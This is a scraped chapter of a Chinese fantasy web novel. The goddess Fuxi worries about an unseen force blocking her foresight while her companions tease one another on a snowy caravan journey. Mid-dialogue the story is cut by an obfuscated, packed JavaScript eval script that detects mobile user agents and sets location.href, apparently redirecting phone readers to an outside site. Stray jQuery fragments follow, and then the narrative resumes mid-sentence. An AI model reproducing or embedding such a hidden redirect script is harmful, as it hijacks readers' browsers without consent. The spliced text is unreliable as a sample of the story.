97. 打趣

作品:《我们是真有神助

    扶曦仔细想来,自从她复活后,一路上已不断遭遇了几次之前从未发生过的境遇,仿佛就像有人一直在针对她的能力一般,她之前神力不足,探不到这么远的以后,如今神力差不多恢复了,可看到的却是一片空白。


    到底是谁?会对她的神力如此之熟悉,精准地预防了她的探视。


    她的神力差不多已蓄积了□□成,几乎只差临门一脚,她想,等待她重回前世的全力状态后,或许便能破除这些障眼的招式了。


    现下再多的无端无据思虑只会消耗更多心神,既然已明确空白自白照城后展开,兵来将挡水来土掩,做好准备应对便好。


    所以尽管心已如乱麻,她还是强制自己冷静了下来,毕竟眼下最大的困难还是先平安度过这雪天,她现在需要的是保持体力,加快蓄神力。


    夜色沉沉,月半三更,她双手互相掐在一处,强迫自己闭上了双眼,不断暗示自己将脑中的杂念抛下进入睡眠。


    第二日,晨光未现,驿站内便响起了人来人往的动静,小村庄内唯一的驿站,被风霜侵蚀多年,不仅外部破落,内里也处处尽是常年失修的痕迹,二层小楼间各个客房门扉的开关时发出的吱呀声令本就浅眠的扶曦彻底没了睡意。


    她躺在床上闭目养神,耳边全是门外走动之人的谈话声,商队里大多都是北方人,但也还是有几名南方人,北地粗犷不羁的口音中间又混杂了些许她听不懂的南话,他们人人热情,仅仅是一夜未见,见面仍要互相寒暄。


    身侧的云幼颐应该也在睡梦中听见了门外的声音,伸了懒腰揉着眼苏醒了过来。


    按照约定,几人整理好后于辰时下楼与商队集合,早膳简单,白粥配咸菜,但只要是热食便已让人十分满足了。


    今日老天难得好脸色,估计也知道他们要重新启程,太阳不再藏在云里,探头白晃晃洒下丝丝光线,此刻没了骤风急雪,站在晴朗天幕下,慢慢便照出一层薄薄暖意。


    刚才早膳时,云幼颐便感受到了扶曦的异常,一直小心地观察着她。


    现下进入马车后,见她头靠在车厢上闭目养神,周身散发出疲惫阴寒的气息,云幼颐踌躇了半晌最后还是识相地没开口,安静地坐在一侧收敛自己的动静。


    他们的马和车就停在驿站门前,现下要等待周凯的商队们从后面的马厩内将马牵出。


    田倩抱着左右手牵着大小米等在驿站前与他们几人寒暄。


    “白兄弟们,昨日可有睡好?夜里停了雪,比前日暖了些。”


    她看着几个公子哥们各个人高马大,想起他们六人昨日挤在一间房内,睡在地上也不知是否休息好了,白日还要行马,可不能恍惚了。


    景嵚和若冲取了马草在喂马,尤知言倚靠在车厢边努嘴做鬼脸逗小姑娘们,闻言面上表情一愣,转头四处看了看,没看见云凌洲和昀燚的身影,他们在驿站内打包之后的干粮。


    “呃哈哈哈,还好还好,比在野外睡舒服多了。”


    尤知言挠挠头干笑着,这话虽是这么说的,但是明眼人都看出了他这话说得不真。


    昨晚元安那小子应该是鼻子堵了,鼾声实在太大,他好不容易习惯了正要睡着,睡在他左侧的昀燚忽然迷迷糊糊说起了话,语气飘忽不定的,吓得他半夜起了一身鸡皮疙瘩。


    田倩弯着眉眼,知道他们昨晚定然憋屈了,看他们仪表堂堂衣着不凡,之前定没吃过这些苦,还想开口安慰几句,结果手中两女儿忽然挣脱了她的控制,朝旁跑了去,原是不远处的小坡上有其他孩子在堆着雪人。


    大米小米头上戴着毛茸茸的小帽子,手上还戴了小手套,穿得十分暖和,嘻嘻哈哈跑过去很快与其他人打成一片。


    “他们应该快了,劳烦白兄弟们多等这么一会儿。”


    田倩尴尬地与他们点了点头,赶忙跟上去守在女儿们身边。


    “无事,自然是要准备好再上路的。”


    尤知言颔首回了田倩一礼,目送着她快步上前去拉要在雪里打滚的大米小米,其实他也很爱雪天,不过先前几天疯够了,又在雪里露宿了几日,对雪的热情慢慢也便减退了。


    想起刚才的话题,尤知言凑到了景嵚和若冲身边,眼神还提心吊胆注意着驿站内情况。


    “你们昨晚听见了吗?”


    若冲以为他在说的是元安打鼾的事,面上没有其他表情,拍了拍手继续拾起地上的干草转身去喂另一匹马。


    “元安之前倒也不会打鼾,这段时间毕竟是病了。”


    坐在车前沿的元安裹着毯子,闻言瞬间羞红了脸颊,他不知道原来自己会打鼾,眼神局促哑着嗓子解释。


    “我不打鼾的!”


    尤知言叹了一声摆了摆手,他说的本就不是元安,他当然知道他是因着病了,说得像他多尖酸不容人一般。


    “没说你,你这嗓子别再说话了,好好歇着吧。”


    他们睡在床榻上应该没听见,但他清楚景嵚就睡在昀燚左侧,定然是知道他在说什么的。


    景嵚抬眼对上尤知言投来的视线,然后朝他身后不经意瞟了一眼,随后轻咳了一声。


    尤知言感受到身上罩上了阴影,慢慢转回了头,猝不及防便对上了昀燚的视线,不禁吓得混身一抖。


    云凌洲和昀燚拎着打包好的干粮和水囊走回了马车前,昀燚望着尤知言看见自己后做贼心虚的反应,知道他定又说些什么有的没的了。


    他面不改色,和云凌洲掀起车帘,将手中的包袱放进车厢后,看见扶曦闭着眼靠在车壁上休息,没有叫醒她,将手中的两个拳头大的黑疙瘩递给了一旁的云幼颐。


    云幼颐不知他递来的是什么,但是还是一脸茫然伸手接下了,刚要小声去问,便看他虚虚对着口型,之后伸出食指在唇边比了个噤声的手势。


    她看懂了他的口型,他说这是梨,让她们吃。


    随后他放手将车帘放下,见商队已集合完毕,他们这边也喂完了马,与众人一齐翻身上马出发。


    云幼颐没见过这样的梨,冻得手冷,拿帕子将黑疙瘩们抱住放在了一侧。


    元安与之前一般进了车厢,看见云幼颐一脸迷惑表情,刚想开口去问,但注意到在睡觉的扶曦,口边的话最终还是吞了回去。


    扶曦眉间蹙了又展,最后不忍,开口了:“我没在睡觉,你们正常说话无妨。”


    听闻这话,云幼颐这才舒了口气,问出了自己的话,只不过声音依旧刻意压低着。


    “这梨冻得像冰疙瘩一眼,这要怎么吃呀?他们是不是在耍咱们啊?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445164|153766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”,她又拿手指戳了戳圆滚滚的黑梨。


    元安没出过远门也不知这是何物,呆呆地眨眼摇头。


    昀燚早上自然也注意到了扶曦脸色不佳,此刻上路了,依旧策马贴在车厢时刻注意着里面的动静,听见她们的对话,听扶曦语气正常,心想或许是她二人昨晚没休息好,便不再担忧,笑着回了云幼颐的问话。


    “等梨放软了便能吃了,听掌柜说这梨甜着呢。”


    身侧的云凌洲听见她们在说话,立马拉马凑了过来。


    “珍惜着吃吧,掌柜本来只给一个的,你都是沾了扶曦的光才吃上,我们想吃都还没有呢~”


    这梨本是掌柜冻了打算送给隔壁亲戚朋友们的,方才昀燚眼尖好奇问了几句,觉得新鲜废了口舌才讨来了这两个。


    云凌洲揶揄起人来也是够狠,话里话外点出昀燚刻意的殷勤,这东西倒是不金贵,之后到了白照城有银子便能买,此刻这般费心思去讨不过只是为了讨人欢心罢了。


    “噢~我知道了,谢谢昀燚哥哥还记着我~”,云幼颐听她哥这样说,哪里还有不懂的,立马应声附和。


    昀燚被他们左右调侃着,耳尖在风中也红得明显,懒得理他们,拽着缰绳驱马奔到了前面。


    尤知言听见身后的动静,转回头便看见了脸颊莫名潮红的昀燚,他何曾在他脸上看见过这般羞赧的神色,想起他昨晚睡梦中含糊说的梦话,面上立即透出了狡黠。


    他驱马贴了过去,探头盯着昀燚笑得蔫坏。


    “昀燚,你晚上做梦会说话,你知道不?”


    昀燚闻言猝然睁大眼回视了过去,眼里满是不相信,但是知道尤知言不是会无中生有之人,看他暧昧的眼神,他大概猜出来自己大概说的不是什么好话,那此番就更不能承认了。


    “胡诌,没事就爱打趣我是吧?”


    他语气斩钉截铁不容置疑,但实际他微微闪烁的眼神早已暴露了他的心虚。


    “你不信你问景嵚啊,他耳朵好肯定也听见了!”


    尤知言还没明白昀燚转移话题的意图,还在揪着这话死犟。


    两人身侧的景嵚,对上尤知言求证的迫切目光,最后又看了看昀燚半胁迫的目光,心知这事谁也不好帮,三十六计走为上计,于是他一拽马重新回到了马车边,还不忘抛下最后一句。


    “别问我,我什么都不知道。”


    云凌洲这时也驾马奔了上去,他听力向来好,讲他们刚才的话听了大概。


    他们之前露宿时虽然各自睡得比较远,但他睡觉习惯性警觉,早就发现了昀燚夜间会胡话这件事,昨晚昀燚黏黏糊糊说的那些话,他自然一句不漏都听了去,其实也没什么,日有所思夜有所梦罢了。


    “这有什么可害臊的,睡梦里喊喊姑娘名字嘛,血气方刚的年纪我们都懂。”


    他伸手拍着昀燚的肩膀,听着是在安慰他,但嘴角却又勾着坏笑。


    听见自己睡梦中说的居然是这个,昀燚瞳孔剧烈颤抖觉得天塌了,这梦话说便说罢,该死的是偏偏让尤知言和云凌洲这两个混蛋听见了,之后一路上不知要被他们拿这事儿调侃多久。


    这次可不止只是红个耳尖脸颊了,昀燚整个人像被煮熟般只朝外冒着热汽,心里明确知道自己完了……